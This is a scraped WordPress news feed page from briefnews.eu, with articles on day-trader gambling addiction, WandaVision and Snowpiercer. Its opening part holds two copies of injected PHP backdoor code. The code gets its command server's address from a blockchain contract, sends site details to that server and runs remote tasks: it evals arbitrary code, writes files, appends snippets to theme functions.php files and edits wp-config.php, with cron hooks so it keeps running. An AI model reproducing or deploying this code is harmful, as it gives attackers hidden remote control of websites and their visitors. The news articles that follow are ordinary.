// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ride – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Sep 2022 13:59:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Ride – Brief News https://briefnews.eu 32 32 Some retail traders are turning to gambling addiction centers after a wild 2-year ride for stocks – but clinicians’ limited understanding of the condition and markets means help can be hard to come by https://briefnews.eu/some-retail-traders-are-turning-to-gambling-addiction-centers-after-a-wild-2-year-ride-for-stocks-but-clinicians-limited-understanding-of-the-condition-and-markets-means-help-can-be-hard-to-come-b/ https://briefnews.eu/some-retail-traders-are-turning-to-gambling-addiction-centers-after-a-wild-2-year-ride-for-stocks-but-clinicians-limited-understanding-of-the-condition-and-markets-means-help-can-be-hard-to-come-b/#respond Sun, 11 Sep 2022 13:59:21 +0000 https://briefnews.eu/some-retail-traders-are-turning-to-gambling-addiction-centers-after-a-wild-2-year-ride-for-stocks-but-clinicians-limited-understanding-of-the-condition-and-markets-means-help-can-be-hard-to-come-b/ gambling
A croupier waits for gamblers at a table inside the Marina Bay Sands casino in Singapore April 27, 2010.

  • There's been an uptick in retail investors checking into gambling treatment centers. 
  • Treatment can be limited, as clinicians often don't understand the condition or the stock market. 
  • That's left some addicted traders discouraged – and sometimes diving back into the market.

Matt Widmann, a 35-year-old commercial fisherman from Alaska, knew that he had a problem when he was spending more time trading stocks than with his family. He would trade for around seven hours a day, starting at the crack of dawn and ending mid-afternoon, usually too worn out from the rollercoaster of wins and losses to spend time with anyone.

Then, this past February, he hit a breaking point. Widmann says he traded some same-day expiration contracts, and wound up losing nearly his entire portfolio – around $ 30,000 in life savings, split among shares of Nvidia, Tesla, and other stocks popular with retail traders. 

"I was a mess. I was just in tears on the couch. I was like, I don't wanna live anymore," he told Insider.

Now five months "sober" from the stock market, Widmann realizes he's part of a greater wave of retail traders who developed a problem akin to gambling addiction over the two years of the pandemic market's wild ride. 

But help is expensive, limited, and oftentimes, led by clinicians who don't know much about the stock market themselves. That's leaving some addicted traders feeling discouraged – and sometimes, diving back into the stock market after treatment.

Help can be hard to come by

There is no official diagnostic criteria for day-trading addiction.

Experts say that lack of classification is one of the biggest barriers for retail traders like Widmann who are seeking help. Lacking specific criteria for their condition, they turn to gambling addiction treatment centers, which have seen an influx of day traders.

"I view [day trading] as gambling," Dr. Timothy Fong, the co-director of UCLA's Gambling Studies program, told Insider. "I've had a lot of patients where I say to them, 'You've developed harmful consequences because of your behavior related to finances. So for insurance purposes, I'm letting you know, I'm putting this as a gambling disorder diagnosis.' Because there is no financial trading disorder, right? We don't have that at all." 

A spokesperson for Gamblers' Anonymous New York told Insider that the organization has seen around a 15% increase in the past year from day traders who have called to ask for help, and in the past two years, Fong estimates that his program at UCLA has seen about a sixfold increase in day traders who have called, up from five a month to about one per day.

For those looking for it, help doesn't come cheap. Algamus, one of the oldest gambling rehabilitation centers in the country, offers an inpatient program that costs $ 16,000, near the low end for such programs. Similar treatment can cost $ 5,000-$ 45,000, according to Algamus' founder, Rick Benson, and most insurance providers refuse to cover treatment if gambling disorder is the primary diagnosis.

On top of the costs, Fong believes there are limitations to how much gambling treatment centers might help day traders, since those programs aren't specialized for people who are addicted to the stock market.

"We think that the same principles that work for gambling…for machines and poker, sports betting, craps, things like that, should work for a financial trading addiction. But you can't just automatically assume that," Fong said. 

He also noted that therapists are often unfamiliar with the stock market themselves, limiting the support they can offer.

"A lot of times when I ask patients, I don't understand what they're trading. I don't understand the mechanism of where the money went," he admitted. 

Widmann says the therapist he saw was only able to provide mood support.

"I don't think that they actually understood specifically what was going on with me," he said. "They understood, 'okay, you're having some financial depression, you're like having some sort of compulsory behavior,' but I don't think they understood the intricate nature of [retail trading], to be involved in something that both professionals engage with and is rife with degenerates."

That contrasts with the sense of community to be found online, in places like the popular Wall Street Bets forum, where traders share a self-deprecating but mutual understanding of the highs and lows of investing. Widmann believes that's part of the problem, and recalled the pressure to trade created by these forums and the thrill of being in a Discord chat with fellow traders communicating in real time. 

"It grew to be so compulsory because… you're in this group of people, and you want to be a part of what they're doing."

Diving back in 

Even now, Widmann isn't certain he's out for good. 

"It's definitely crossed my mind again where it's like, if I get a big enough position, maybe I'll dabble in it again. So I can't say that it's a hard no." Widmann said. 

That desire to dive back into the market even after treatment poses one of the biggest challenges for providers in the field, Fong said, and Algamus' Benson added that it's one of the main differences between day traders and gamblers.

"[A day trader] may live in the delusion that he's really just investing," Benson said. 

He says one of the clinic's biggest challenges is convincing traders that they were not "professional investors," Benson said, and showing patients that their "bad investment year" is actually something pathological. That involves a mix of gambling education, individual therapy, and group therapy, which he says is particularly important. 

"Gamblers are terrific liars and bullshitters. Whereas in group therapy, the group works against that," Benson said.

Dan Field, a gambling therapist who is creating a treatment program specifically for day trading addiction, speculates it has to do with a discomfort in accepting reality. 

"They have that itch to get the money back and they think this is just a temporary pit stop," he told Insider. "So I try to speak to them as a counselor and as a friend. I care about you and this is why I'm giving you this hard advice: you have to sit with these losses for now," he tells his patients.

Read the original article on Business Insider

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WandaVision ‘Is Going to Be Quite a Ride’ From Here On Out, Says Star https://briefnews.eu/wandavision-is-going-to-be-quite-a-ride-from-here-on-out-says-star/ https://briefnews.eu/wandavision-is-going-to-be-quite-a-ride-from-here-on-out-says-star/#respond Sat, 23 Jan 2021 23:32:57 +0000 https://briefnews.eu/wandavision-is-going-to-be-quite-a-ride-from-here-on-out-says-star/

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All is not well in Westview.

Like hedge clippers to a cement wall, WandaVision‘s Jan. 22 episode, titled “Now in Color,” really began to chip away at the Disney+ series’ pleasant sitcom veneer. From neighbor Herb’s aforementioned, unnerving yard work to the intrusion of a stubborn stork, from the topsy-turviness that Wanda and Vision’s home went through as the birth of twin boys neared to Agnes’ concerns about “home”-less Geraldine, there were more signs than ever that something is askew in these suburbs.

The character of “Geraldine” (as everyone thus far knows her) was around for the series’ biggest nod to a specific MCU storyline, as new mom Wanda remembered her dearly departed twin — after which Geraldine remarked that Pietro was killed by Ultron. That moment of sharing seemed to trigger something in Wanda, who began firmly questioning her gal pal’s identity. Next thing we know, Vision comes home to find Geraldine suddenly absent, while viewers witness the character tumbling through some sort of digital “membrane” surrounding what we know to be Westview, landing nearby a military camp set up outside the perimeter.

WandaVision Monica“The first couple episodes of WandaVision are very specific to the time period and the sitcoms,” notes Teyonah Parris, who plays Geraldine. “And what’s interesting in these first couple of episodes is that you do feel something’s amiss, something’s not quite right. Many characters are taking note of that; characters aren’t able to remember things, they aren’t able to quite put their finger on a thing.”

As suggested by the jarring final sequence, the mystery of what is really going on here — including, presumably, where Wanda and possibly Vision (who of course died in Endgame) really are, and why — will only escalate over the next six episodes.

“Watching all of that unravel, and then come together later in the series, is going to be quite a ride,” Parris assures. “And I hope that you all tune in and ride this thing with us, because it will be well worth it. I know there are so many questions in the first couple of episodes, and just no answers, but we will get to it, I promise.”

One answer that seems to be imminent — and here we again throw up a SPOILER ALERT, even though Marvel Studios announced this back in July 2019 — is the truth about who Geraldine is. Meaning, Parris is actually playing Monica Rambeau, as in the grown-up daughter of Captain Marvel’s U.S. Air Force pilot Maria Rambeau. And judging by the pendant Geraldine was wearing, Monica works for (or at least is an asset of) S.W.O.R.D. aka the galactic version of S.H.I.E.L.D.

Previewing that upcoming shifting of roles, Parris told TVLine, “For Monica Rambeau, I definitely pulled from the comics and from Akira Akbar’s performance in Captain Marvel. I was trying to see not only what Akira was doing, but also what Young Monica’s relationship to her mother, Maria Rambeau (played by Lashana Lynch), and to Carol Danvers (Brie Larson), was — the influences that Monica might have gotten from those relationships. That was definitely a part of my personal process in embodying Monica.”

Alas, Parris’ freeness in talking about her actual WandaVision character (who will also appear in Captain Marvel 2) ends there. “That’s about as much as I can say about Monica until you’ve all seen more,” the actress shrugged, smiling. (With reporting by Rebecca Iannucci)

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Snowpiercer Review: TNT Series Offers a Different Kind of Ride Than 2013 Film https://briefnews.eu/snowpiercer-review-tnt-series-offers-a-different-kind-of-ride-than-2013-film/ https://briefnews.eu/snowpiercer-review-tnt-series-offers-a-different-kind-of-ride-than-2013-film/#respond Sun, 10 May 2020 22:19:02 +0000 https://briefnews.eu/snowpiercer-review-tnt-series-offers-a-different-kind-of-ride-than-2013-film/

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Snowpiercer‘s four-and-a-half year journey to the small screen ends on Sunday, May 17, when it pulls into the proverbial station at TNT. When all is said and done, was it the little engine that could? Or not quite?

What you get out of TV’s Snowpiercer largely depends on what you expect from it. Yes, it is an adaptation of the lauded 2013 film of the same name, which starred Chris Evans and was directed by future Oscar winner Bong Joon-ho, as well as the 1982 French graphic novel Le Transperceneige. But it tells a distinct story set in that same world, where seven years after an attempt to “fix” global warming instead turned the planet into an unlivable ice ball, the remainder of humanity circles the globe aboard the titular 1,001-car train.

As in both pieces of source material, class warfare is a dominant theme, seeing as the Snowpiercer is strictly, brutally segregated by class — with the last car, the “tail,” densely populated by people who literally fought to illegally board the train before its departure, without tickets.

